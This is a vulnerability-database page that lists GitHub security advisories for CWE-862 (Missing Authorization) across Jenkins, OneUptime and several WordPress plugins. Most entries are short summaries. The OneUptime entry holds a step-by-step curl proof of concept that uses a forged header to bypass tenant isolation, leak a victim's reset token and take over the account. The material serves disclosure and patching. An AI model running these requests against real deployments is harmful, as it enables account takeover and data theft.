Common Weakness Enumeration

CWE-862

Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

14695 vulnerabilities reference this CWE, most recent first.

GHSA-R5R6-V8QH-PMPQ

Vulnerability from github – Published: 2022-03-30 00:00 – Updated: 2022-11-29 21:52
VLAI
Summary
Missing permission checks in Jekins Bitbucket Server Integration Plugin
Details

Jenkins Bitbucket Server Integration Plugin 3.1.0 and earlier does not perform permission checks in several HTTP endpoints, allowing attackers with Overall/Read permission to create, view, and delete BitBucket Server consumers.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.jenkins.plugins:atlassian-bitbucket-server-integration"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-28134"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-29T21:52:22Z",
    "nvd_published_at": "2022-03-29T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Jenkins Bitbucket Server Integration Plugin 3.1.0 and earlier does not perform permission checks in several HTTP endpoints, allowing attackers with Overall/Read permission to create, view, and delete BitBucket Server consumers.",
  "id": "GHSA-r5r6-v8qh-pmpq",
  "modified": "2022-11-29T21:52:22Z",
  "published": "2022-03-30T00:00:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28134"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/atlassian-bitbucket-server-integration-plugin"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2022-03-29/#SECURITY-2640"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/03/29/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Missing permission checks in Jekins Bitbucket Server Integration Plugin"
}

GHSA-R5V6-2599-9G3M

Vulnerability from github – Published: 2026-03-10 01:09 – Updated: 2026-03-10 18:45
VLAI
Summary
OneUptime has authorization bypass via client‑controlled is-multi-tenant-query header that leads to cross‑tenant data exposure and account takeover
Details

Summary

A low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 by sending a forged is-multi-tenant-query header together with a controlled projectid header.

Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled.

This allows attackers to:

  1. Access project data belonging to other tenants
  2. Read sensitive User fields via nested relations
  3. Leak plaintext resetPasswordToken
  4. Reset the victim’s password and fully take over the account

This results in cross‑tenant data exposure and full account takeover.

Details

Root cause

The API trusts a client‑controlled header to determine whether a request should bypass authorization checks.

CommonAPI.ts

if (req.headers["is-multi-tenant-query"]) {
  props.isMultiTenantRequest = true;
}

BasePermission.ts

if (!props.isMultiTenantRequest) {
  TablePermission.checkTableLevelPermissions(...)
  QueryPermission.checkQueryPermission(...)
  SelectPermission.checkSelectPermission(...)
}

When the attacker sends:

is-multi-tenant-query: true

the system skips all authorization checks including:

  • Table permission validation
  • Query permission validation
  • Select permission validation
  • Tenant isolation enforcement

Additionally, tenant scoping is disabled in TenantPermission

Sensitive user data exposure

Projects marked with:

@MultiTenentQueryAllowed(true)

allow cross-tenant queries when the header is present.

The Project model contains a relation:

createdByUser

Because select permission checks are skipped, attackers can retrieve sensitive fields from the User model including:

password
resetPasswordToken
webauthnChallenge

Reset token stored in plaintext

In the password reset flow:

Authentication.ts

resetPasswordToken: token

The reset token is stored in plaintext in the database.

During password reset:

/api/identity/reset-password

the server validates the provided token directly.

If an attacker leaks this token through the authorization bypass, they can immediately reset the victim’s password.

Exploitation chain

  1. Attacker bypasses tenant isolation using is-multi-tenant-query
  2. Attacker reads victim project
  3. Attacker selects createdByUser.resetPasswordToken
  4. Attacker triggers forgot-password for victim
  5. Attacker retrieves the fresh token via the same query
  6. Attacker calls /api/identity/reset-password
  7. Attacker sets a new password
  8. Attacker logs in as victim

This results in full account takeover.

PoC

Setup: - Local OneUptime v10.0.20 instance - Two normal accounts: - Attacker account owns Project A (7cb77c45-c2e0-42b5-8a28-57aa0dec6e82) - Victim account owns Project B (88ced36b-4c0a-4c12-bdf1-497d60b10b23) with email victim@example.com

Chain 1: Direct Project Isolation Bypass

1. Read isolation bypass

curl -X POST http://localhost/api/project/get-list \
  -H "authorization: Bearer <attacker_token>" \
  -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{
        "query": {},
        "select": {
            "_id": true,
            "name": true,
            "createdOwnerEmail": true
        }
      }'

Result: Returns both the attacker's and victim's projects:

{
  "data": [
    {
      "_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
      "name": "Victim Project",
      "createdOwnerEmail": { "value": "victim@example.com" }
    },
    {
      "_id": "7cb77c45-c2e0-42b5-8a28-57aa0dec6e82",
      "name": "Attacker Project",
      "createdOwnerEmail": { "value": "attacker@example.com" }
    }
  ],
  "count": 2
}
  1. Write isolation bypass

Victim project name is initially: Victim Project ORIGINAL

curl -X POST http://localhost/api/project/88ced36b-4c0a-4c12-bdf1-497d60b10b23/update-item \
  -H "authorization: Bearer <attacker_token>" \
  -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{"name":"Victim Project EXPLOIT"}'

Result: Victim project name is updated to "Victim Project EXPLOIT" despite the attacker not being a member of the victim project.

Chain 2: Account Takeover via Credential Leakage

  1. Trigger password reset for victim
curl -X POST http://localhost/api/identity/forgot-password \
  -H "content-type: application/json" \
  -d "{\"email\":\"victim@example.com\"}"
  1. Leak victim password hash and reset token via tenant bypass
curl -X POST http://localhost/api/project/get-list \
  -H "authorization: Bearer <attacker_token>" \
  -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{
        "query": {"_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23"},
        "select": {
          "_id": true,
          "createdByUser": {
            "email": true,
            "password": true,
            "resetPasswordToken": true
          }
        }
      }'

Result: Sensitive user data is exposed:

{
  "data": [{
    "_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
    "createdByUser": {
      "email": {"value": "victim@example.com"},
      "password": {"value": "faef08e8f2b9e9dfa09c15dfaf043b8aad7761d9712c7e09417d4da2156e33d9"},
      "resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb"
    }
  }]
}
  1. Take over victim account using leaked token
# Reset password with leaked token
curl -X POST http://localhost/api/identity/reset-password \
  -H "content-type: application/json" \
  -d '{
    "resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb",
    "password": "AttackerChosenPassword123!"
  }'

# Login as victim with new password
curl -X POST http://localhost/api/identity/login \
  -H "content-type: application/json" \
  -d '{
    "email": "victim@example.com",
    "password": "AttackerChosenPassword123!"
  }'

Result: Successful login with attacker-chosen password, original password fails - complete account takeover achieved.

Result: Victim project name is updated despite the attacker not being a member of the victim project.

Impact

This vulnerability allows a low‑privileged authenticated user to:

  • bypass tenant isolation
  • access other tenant projects
  • read sensitive user credential fields
  • leak plaintext reset tokens
  • reset victim passwords
  • fully take over victim accounts

Because OneUptime is a multi‑tenant monitoring platform, this allows attackers to compromise any tenant account in the system.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@oneuptime/common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30956"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T01:09:40Z",
    "nvd_published_at": "2026-03-10T18:18:54Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA low\u2011privileged user can bypass authorization and tenant isolation in OneUptime `v10.0.20` by sending a forged `is-multi-tenant-query` header together with a controlled `projectid` header.\n\nBecause the server trusts this client-supplied header, internal permission checks in `BasePermission` are skipped and tenant scoping is disabled.\n\nThis allows attackers to:\n\n1. Access project data belonging to other tenants\n2. Read sensitive User fields via nested relations\n3. Leak plaintext resetPasswordToken\n4. Reset the victim\u2019s password and fully take over the account\n\nThis results in cross\u2011tenant data exposure and full account takeover.\n\n### Details\n\nRoot cause\n\nThe API trusts a client\u2011controlled header to determine whether a request should bypass authorization checks.\n\nCommonAPI.ts\n```\nif (req.headers[\"is-multi-tenant-query\"]) {\n  props.isMultiTenantRequest = true;\n}\n```\nBasePermission.ts\n```\nif (!props.isMultiTenantRequest) {\n  TablePermission.checkTableLevelPermissions(...)\n  QueryPermission.checkQueryPermission(...)\n  SelectPermission.checkSelectPermission(...)\n}\n```\nWhen the attacker sends:\n```\nis-multi-tenant-query: true\n```\nthe system skips all authorization checks including:\n\n- Table permission validation\n- Query permission validation\n- Select permission validation\n- Tenant isolation enforcement\n\nAdditionally, tenant scoping is disabled in `TenantPermission`\n\nSensitive user data exposure\n\nProjects marked with:\n```\n@MultiTenentQueryAllowed(true)\n```\nallow cross-tenant queries when the header is present.\n\nThe Project model contains a relation:\n```\ncreatedByUser\n```\nBecause select permission checks are skipped, attackers can retrieve sensitive fields from the User model including:\n```\npassword\nresetPasswordToken\nwebauthnChallenge\n```\n\nReset token stored in plaintext\n\nIn the password reset flow:\n\nAuthentication.ts\n```\nresetPasswordToken: token\n```\nThe reset token is stored in plaintext in the database.\n\nDuring password reset:\n```\n/api/identity/reset-password\n```\nthe server validates the provided token directly.\n\nIf an attacker leaks this token through the authorization bypass, they can immediately reset the victim\u2019s password.\n\nExploitation chain\n\n1. Attacker bypasses tenant isolation using is-multi-tenant-query\n2. Attacker reads victim project\n3. Attacker selects createdByUser.resetPasswordToken\n4. Attacker triggers forgot-password for victim\n5. Attacker retrieves the fresh token via the same query\n6. Attacker calls /api/identity/reset-password\n7. Attacker sets a new password\n8. Attacker logs in as victim\n\nThis results in full account takeover.\n\n### PoC\n\n**Setup:**\n- Local OneUptime v10.0.20 instance\n- Two normal accounts:\n  - Attacker account owns Project A (`7cb77c45-c2e0-42b5-8a28-57aa0dec6e82`)\n  - Victim account owns Project B (`88ced36b-4c0a-4c12-bdf1-497d60b10b23`) with email `victim@example.com`\n\n---\n\n#### Chain 1: Direct Project Isolation Bypass\n\n**1. Read isolation bypass**\n\n```bash\ncurl -X POST http://localhost/api/project/get-list \\\n  -H \"authorization: Bearer \u003cattacker_token\u003e\" \\\n  -H \"projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82\" \\\n  -H \"is-multi-tenant-query: true\" \\\n  -H \"content-type: application/json\" \\\n  -d \u0027{\n        \"query\": {},\n        \"select\": {\n            \"_id\": true,\n            \"name\": true,\n            \"createdOwnerEmail\": true\n        }\n      }\u0027\n```\nResult: Returns both the attacker\u0027s and victim\u0027s projects:\n```json\n{\n  \"data\": [\n    {\n      \"_id\": \"88ced36b-4c0a-4c12-bdf1-497d60b10b23\",\n      \"name\": \"Victim Project\",\n      \"createdOwnerEmail\": { \"value\": \"victim@example.com\" }\n    },\n    {\n      \"_id\": \"7cb77c45-c2e0-42b5-8a28-57aa0dec6e82\",\n      \"name\": \"Attacker Project\",\n      \"createdOwnerEmail\": { \"value\": \"attacker@example.com\" }\n    }\n  ],\n  \"count\": 2\n}\n```\n2. Write isolation bypass\n\nVictim project name is initially: Victim Project ORIGINAL\n```\ncurl -X POST http://localhost/api/project/88ced36b-4c0a-4c12-bdf1-497d60b10b23/update-item \\\n  -H \"authorization: Bearer \u003cattacker_token\u003e\" \\\n  -H \"projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82\" \\\n  -H \"is-multi-tenant-query: true\" \\\n  -H \"content-type: application/json\" \\\n  -d \u0027{\"name\":\"Victim Project EXPLOIT\"}\u0027\n```\nResult: Victim project name is updated to \"Victim Project EXPLOIT\" despite the attacker not being a member of the victim project.\n\n#### Chain 2: Account Takeover via Credential Leakage\n\n3. Trigger password reset for victim\n```\ncurl -X POST http://localhost/api/identity/forgot-password \\\n  -H \"content-type: application/json\" \\\n  -d \"{\\\"email\\\":\\\"victim@example.com\\\"}\"\n```\n4. Leak victim password hash and reset token via tenant bypass\n```\ncurl -X POST http://localhost/api/project/get-list \\\n  -H \"authorization: Bearer \u003cattacker_token\u003e\" \\\n  -H \"projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82\" \\\n  -H \"is-multi-tenant-query: true\" \\\n  -H \"content-type: application/json\" \\\n  -d \u0027{\n        \"query\": {\"_id\": \"88ced36b-4c0a-4c12-bdf1-497d60b10b23\"},\n        \"select\": {\n          \"_id\": true,\n          \"createdByUser\": {\n            \"email\": true,\n            \"password\": true,\n            \"resetPasswordToken\": true\n          }\n        }\n      }\u0027\n```\nResult: Sensitive user data is exposed:\n```\n{\n  \"data\": [{\n    \"_id\": \"88ced36b-4c0a-4c12-bdf1-497d60b10b23\",\n    \"createdByUser\": {\n      \"email\": {\"value\": \"victim@example.com\"},\n      \"password\": {\"value\": \"faef08e8f2b9e9dfa09c15dfaf043b8aad7761d9712c7e09417d4da2156e33d9\"},\n      \"resetPasswordToken\": \"4b75e6d0-1aca-11f1-b2d4-698549b693fb\"\n    }\n  }]\n}\n```\n5. Take over victim account using leaked token\n```\n# Reset password with leaked token\ncurl -X POST http://localhost/api/identity/reset-password \\\n  -H \"content-type: application/json\" \\\n  -d \u0027{\n    \"resetPasswordToken\": \"4b75e6d0-1aca-11f1-b2d4-698549b693fb\",\n    \"password\": \"AttackerChosenPassword123!\"\n  }\u0027\n\n# Login as victim with new password\ncurl -X POST http://localhost/api/identity/login \\\n  -H \"content-type: application/json\" \\\n  -d \u0027{\n    \"email\": \"victim@example.com\",\n    \"password\": \"AttackerChosenPassword123!\"\n  }\u0027\n```\nResult: Successful login with attacker-chosen password, original password fails - complete account takeover achieved.\n\n\n\nResult: Victim project name is updated despite the attacker not being a member of the victim project.\n### Impact\nThis vulnerability allows a low\u2011privileged authenticated user to:\n\n- bypass tenant isolation\n- access other tenant projects\n- read sensitive user credential fields\n- leak plaintext reset tokens\n- reset victim passwords\n- fully take over victim accounts\n\nBecause OneUptime is a multi\u2011tenant monitoring platform, this allows attackers to compromise any tenant account in the system.",
  "id": "GHSA-r5v6-2599-9g3m",
  "modified": "2026-03-10T18:45:02Z",
  "published": "2026-03-10T01:09:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-r5v6-2599-9g3m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30956"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OneUptime/oneuptime"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/releases/tag/10.0.21"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OneUptime has authorization bypass via client\u2011controlled is-multi-tenant-query header that leads to cross\u2011tenant data exposure and account takeover"
}

GHSA-R5VF-JV8J-63XV

Vulnerability from github – Published: 2025-06-06 15:30 – Updated: 2026-04-01 18:35
VLAI
Details

Missing Authorization vulnerability in taskbuilder Taskbuilder allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Taskbuilder: from n/a through 4.0.3.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-30945"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-06T13:15:35Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in taskbuilder Taskbuilder allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Taskbuilder: from n/a through 4.0.3.",
  "id": "GHSA-r5vf-jv8j-63xv",
  "modified": "2026-04-01T18:35:19Z",
  "published": "2025-06-06T15:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30945"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/taskbuilder/vulnerability/wordpress-taskbuilder-4-0-3-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R5VF-WG5Q-932H

Vulnerability from github – Published: 2026-07-10 09:31 – Updated: 2026-07-10 09:31
VLAI
Details

The GW AI Website Builder plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the gwaiwebu_gravitywrite_disconnect_handler() function in all versions up to, and including, 1.0.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to disconnect the plugin from GravityWrite via the 'gwaiwebu_gravitywrite_disconnect' AJAX action.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-1946"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-10T09:16:53Z",
    "severity": "MODERATE"
  },
  "details": "The GW AI Website Builder plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the gwaiwebu_gravitywrite_disconnect_handler() function in all versions up to, and including, 1.0.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to disconnect the plugin from GravityWrite via the \u0027gwaiwebu_gravitywrite_disconnect\u0027 AJAX action.",
  "id": "GHSA-r5vf-wg5q-932h",
  "modified": "2026-07-10T09:31:38Z",
  "published": "2026-07-10T09:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1946"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/gw-ai-website-builder/tags/1.0.1/API/api-functions.php#L4069"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/gw-ai-website-builder/tags/1.0.1/API/api-functions.php#L4253"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/gw-ai-website-builder/trunk/API/api-functions.php#L4069"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/gw-ai-website-builder/trunk/API/api-functions.php#L4253"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?reponame=\u0026old=3481065%40gw-ai-website-builder\u0026new=3481065%40gw-ai-website-builder"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/49405ba1-b0fd-429b-a30a-95c8d3f26545?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R5VG-MJCX-5WM4

Vulnerability from github – Published: 2025-05-07 15:31 – Updated: 2026-04-01 18:35
VLAI
Details

Missing Authorization vulnerability in codepeople Music Player for WooCommerce allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Music Player for WooCommerce: from n/a through 1.5.1.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-47472"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-07T15:16:01Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in codepeople Music Player for WooCommerce allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Music Player for WooCommerce: from n/a through 1.5.1.",
  "id": "GHSA-r5vg-mjcx-5wm4",
  "modified": "2026-04-01T18:35:02Z",
  "published": "2025-05-07T15:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47472"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/music-player-for-woocommerce/vulnerability/wordpress-music-player-for-woocommerce-1-5-1-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R5X2-7WRX-JQFG

Vulnerability from github – Published: 2026-05-14 06:31 – Updated: 2026-05-14 06:31
VLAI
Details

The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.7.9. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with custom-level access and above, to bypass the moderation and approval workflow by tampering with the POST body to publish events or set other unauthorized statuses such as cancelled or private, in ways their role does not permit. While the UI correctly restricts low-privilege users to a draft-only submit button, this restriction is enforced only client-side, making it trivially bypassable by directly manipulating the POST request.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-7525"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-14T05:16:45Z",
    "severity": "MODERATE"
  },
  "details": "The My Calendar \u2013 Accessible Event Manager plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.7.9. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with custom-level access and above, to bypass the moderation and approval workflow by tampering with the POST body to publish events or set other unauthorized statuses such as cancelled or private, in ways their role does not permit. While the UI correctly restricts low-privilege users to a draft-only submit button, this restriction is enforced only client-side, making it trivially bypassable by directly manipulating the POST request.",
  "id": "GHSA-r5x2-7wrx-jqfg",
  "modified": "2026-05-14T06:31:32Z",
  "published": "2026-05-14T06:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7525"
    },
    {
      "type": "WEB",
      "url": "https://github.com/joedolson/my-calendar/commit/98aef8fbfc6ca4cfe50aaa36761d5f1eb629dfe4"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/my-calendar/tags/3.7.4/my-calendar-event-editor.php#L2384"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/my-calendar/tags/3.7.4/my-calendar-event-editor.php#L406"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/my-calendar/tags/3.7.4/my-calendar-event-editor.php#L601"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/my-calendar/tags/3.7.9/my-calendar-event-editor.php#L2384"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/my-calendar/tags/3.7.9/my-calendar-event-editor.php#L406"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/my-calendar/tags/3.7.9/my-calendar-event-editor.php#L601"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/my-calendar/trunk/my-calendar-event-editor.php#L2384"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/my-calendar/trunk/my-calendar-event-editor.php#L406"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/my-calendar/trunk/my-calendar-event-editor.php#L601"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3527861%40my-calendar\u0026new=3527861%40my-calendar\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3e27c0b0-c74f-47ad-b9ed-9fd6bd05d040?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R5XC-6CHV-HC86

Vulnerability from github – Published: 2024-12-06 15:31 – Updated: 2026-04-01 18:32
VLAI
Details

Missing Authorization vulnerability in Andy Moyle Church Admin allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Church Admin: from n/a through 5.0.8.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-53795"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-06T14:15:21Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Andy Moyle Church Admin allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Church Admin: from n/a through 5.0.8.",
  "id": "GHSA-r5xc-6chv-hc86",
  "modified": "2026-04-01T18:32:41Z",
  "published": "2024-12-06T15:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53795"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/church-admin/vulnerability/wordpress-church-admin-plugin-5-0-8-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R62F-CX5R-Q9JM

Vulnerability from github – Published: 2025-10-29 06:31 – Updated: 2026-04-08 21:33
VLAI
Details

The Anti-Malware Security and Brute-Force Firewall plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 4.23.81 due to a missing capability check combined with an information exposure in several GOTMLS_* AJAX actions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-11705"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-29T05:15:36Z",
    "severity": "MODERATE"
  },
  "details": "The Anti-Malware Security and Brute-Force Firewall plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 4.23.81 due to a missing capability check combined with an information exposure in several GOTMLS_* AJAX actions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.",
  "id": "GHSA-r62f-cx5r-q9jm",
  "modified": "2026-04-08T21:33:08Z",
  "published": "2025-10-29T06:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11705"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3379118/gotmls"
    },
    {
      "type": "WEB",
      "url": "https://research.cleantalk.org/cve-2025-11705"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e2c8838c-d29a-4df8-85b3-6e440ba7f962?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R65C-CP46-XV46

Vulnerability from github – Published: 2024-06-11 18:30 – Updated: 2024-06-11 18:30
VLAI
Details

Missing Authorization vulnerability in Revolut Revolut Gateway for WooCommerce.This issue affects Revolut Gateway for WooCommerce: from n/a through 4.9.7.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-52224"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-11T17:15:50Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Revolut Revolut Gateway for WooCommerce.This issue affects Revolut Gateway for WooCommerce: from n/a through 4.9.7.",
  "id": "GHSA-r65c-cp46-xv46",
  "modified": "2024-06-11T18:30:46Z",
  "published": "2024-06-11T18:30:46Z",
  "references": [
